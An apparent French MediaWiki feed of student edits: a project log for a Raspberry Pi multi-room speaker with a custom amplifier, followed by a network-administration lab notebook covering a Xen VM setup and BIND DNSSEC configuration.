=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
'''Amplificateur'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Alimentation'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Schema-allimentation.jpg&amp;diff=27107</id>
		<title>Fichier:Schema-allimentation.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Schema-allimentation.jpg&amp;diff=27107"/>
				<updated>2016-02-13T14:10:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Supply_Schematics.png&amp;diff=27106</id>
		<title>Fichier:Supply Schematics.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Supply_Schematics.png&amp;diff=27106"/>
				<updated>2016-02-13T14:08:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ampli_Photo.jpg&amp;diff=27105</id>
		<title>Fichier:Ampli Photo.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ampli_Photo.jpg&amp;diff=27105"/>
				<updated>2016-02-13T14:02:07Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ampli_2D.png&amp;diff=27104</id>
		<title>Fichier:Ampli 2D.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ampli_2D.png&amp;diff=27104"/>
				<updated>2016-02-13T13:54:28Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_groupe_n%C2%B010&amp;diff=24996</id>
		<title>Cahier groupe n°10</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_groupe_n%C2%B010&amp;diff=24996"/>
				<updated>2016-01-17T16:13:32Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Création du serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un &amp;quot;atelier&amp;quot; permettant d'essayer de craquer des réseaux wifi.&lt;br /&gt;
&lt;br /&gt;
== Crack Wifi ==&lt;br /&gt;
&lt;br /&gt;
=== Objectif ===&lt;br /&gt;
&lt;br /&gt;
Le but de cette tâche est d'installer dans un premier temps Debian sur un ordinateur portable dont l'écran ne s'allume plus, puis dans un deuxième temps de le configurer de manière à pouvoir brancher 8 cartes wifi en USB et les connecter à des SSID différents diffusés par une borne.&lt;br /&gt;
&lt;br /&gt;
=== Réalisation ===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons fait des recherches pour savoir quelles méthodes on pouvait utiliser pour installer un PC sans avoir besoin de l'écran, et les deux principales sont :&lt;br /&gt;
&lt;br /&gt;
* Sortir le disque dur du PC portable et le mettre sur une Zabeth, installer Debian sur ce disque, puis le remettre dans l'ordinateur&lt;br /&gt;
* Pré-seed une ISO de Debian&lt;br /&gt;
&lt;br /&gt;
Après avoir ouvert l'ordinateur portable, on s'est aperçu que le disque était en réalité un SSD conecté en mSATA. Comme nous ne disposons pas d'adaptateur mSATA vers SATA et que les cartes mères des Zabteh n'ont pas de ports adaptés, nous n'avons pas pu procéder de cette manière. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie.&lt;br /&gt;
&lt;br /&gt;
==== Installation d'une nouvelle carte graphique ====&lt;br /&gt;
&lt;br /&gt;
Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique.&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Services internet ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh :&lt;br /&gt;
&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
Puis nous avons créé la VM avec les paramètres suivants :&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=DELIRIUM --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.170&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier DELIRIUM.cfg de manière à augmenter la mémoire de notre machine virtuelle à 512MB puis lancé la VM avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 xl create /etc/xen/DELIRIUM.cfg&lt;br /&gt;
&lt;br /&gt;
Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande :&lt;br /&gt;
&lt;br /&gt;
 xl console DELIRIUM&lt;br /&gt;
&lt;br /&gt;
=== Préparation de la machine ===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170&lt;br /&gt;
&lt;br /&gt;
=== Création du serveur DNS / Sécurisation par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Nous sommes tout d'abord allés sur '''gandi.net''' et nous avons choisi le nom de domaine '''delirium.lol''', qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que '''ns.delirium.lol''' soit associé à l'adresse '''193.48.57.170'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous commençons par ajouter l'option '''dnssec-enable yes;''' dans le fichier '''named.conf.options'''.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''named.conf.local''' de manière à y ajouter notre zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;delirium.lol&amp;quot; {&amp;lt;br&amp;gt;type master;&amp;lt;br&amp;gt;file &amp;quot;/etc/bind/zones/delirium.lol.db&amp;quot;;&amp;lt;br&amp;gt;allow-transfer { 217.70.177.40; };&amp;lt;br&amp;gt;notify yes;&amp;lt;br&amp;gt;};&lt;br /&gt;
&lt;br /&gt;
Puis nous générons les clés publiques et privées ksk et zsk dans le dossier '''/etc/bind/delirium.lol.dnssec/''' comme suit :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol&lt;br /&gt;
&lt;br /&gt;
Nous renommons les clés de manière à obtenir ceci :&lt;br /&gt;
&lt;br /&gt;
 -rw-r--r-- 1 root bind  606 Jan 17 17:11 delirium.lol-ksk.key&lt;br /&gt;
 -rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private&lt;br /&gt;
 -rw-r--r-- 1 root bind  433 Jan 17 17:18 delirium.lol-zsk.key&lt;br /&gt;
 -rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement, &amp;lt;br&amp;gt;&lt;br /&gt;
puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone ('''Serial''', de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) :&lt;br /&gt;
&lt;br /&gt;
